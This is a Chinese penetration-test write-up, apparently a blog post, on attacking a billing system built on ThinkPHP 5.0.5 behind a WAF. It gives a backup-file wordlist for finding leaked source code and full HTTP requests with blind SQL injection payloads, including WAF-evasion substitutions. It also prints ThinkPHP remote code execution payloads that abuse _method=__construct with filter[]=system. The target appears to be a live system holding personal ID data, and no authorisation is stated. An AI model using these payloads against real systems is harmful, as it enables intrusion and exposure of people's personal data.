0x01 开始:
[+] 基本信息:
-
Thinkphp5.0.5
-
存在WAF,貌似是某武盾
-
某费业务系统
[+] 关键点:
在得到目标域名时,结合目公司名称关键字,还有域名的关键字,试着与敏感的备份文件简单组合一下,得到简单的敏感文件字典,字典大致格式为,进行简单的目录扫描,手动去测试逻辑部分,不一会儿目录扫描结果得到业务系统的备份文件,名称为: 关键字+backup.tar.gz
:
关键字+buckup.zip
关键字+buckup.rar
关键字+buckup.zip.tar
关键字+buckup.tar.gz
www+关键字.zip
www+关键字.rar
www+关键字.zip.tar
www+关键字.tar.gz
关键字.zip
关键字.rar
可以随意组合即可,也可以看一下参数命名方式,猜测管理员的命名习惯.....
0x02 代码审计
系统是由ThinkPHP5.0.5进行二次开发而搭建的,因为以前只是简单看过ThinkPHP代码,并不了解Thinkphp,google了一下,对应目录结构,看一下代码:
[+] 系统路由:
[+] SQL注入漏洞
身份证号处:
(1)正常传参:
对输入没有任何限制,只是前端限制了输入长度,抓包后,随便传个id,就得到个人数据
(2)注入测试
- 存在WAF,后端数据库为
MySQL
,ThinkPHP-dubug
也没有开启,简单构造盲注证明一下危害即可:
Payload:
- 查询user长度,长度为14:
POST /index/index/p_card.html HTTP/1.1
Content-Length: 59
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
card=1")/(case when length(user())=0 then 1 else 0 end)+--+
- 查询内容,因为ascii函数拦截,替换为char函数,缺点是大小写不敏感,用 like binary代替:
Paylaod:
POST /index/index/p_card.html HTTP/1.1
Content-Length: 71
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
card=3")/(case when substr(user(),1,1)like binary 'a' then 1 else 0 end)+--+
注个用户名证明下就可以了….
看了其他代码之后都是一样的风格,注入有很多处….
大同小异,都是直接拼接而且没有任何过滤
[+] THinkPHP RCE
ThinkPHP老漏洞,因为目标有WAF自己的被动扫描也没效果,把代码过了一下,发现还是存在,本地搭起来可以复现,具体分析过程可以看y4er大佬博客
,我自己跟了一下,结果如下 :
**Paylaod: **
POST?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
get[]=whaomi&_method=__construct&method=get&filter=system
本地验证成功,WAF没绕过去,自己测试了一下发现WAF拦截的是filter
关键字,没其他想法了,卒….
前台功能点少,只有几个查询,没啥shell的点….
太菜了… 总结一下所有SQL摸鱼完事…
0x03 参考链接
- THINKPHP目录结构:
https://www.kancloud.cn/manual/thinkphp5/118008
- Thinkphp5.0.5 RCE 分析:
https://y4er.com/post/thinkphp5-rce/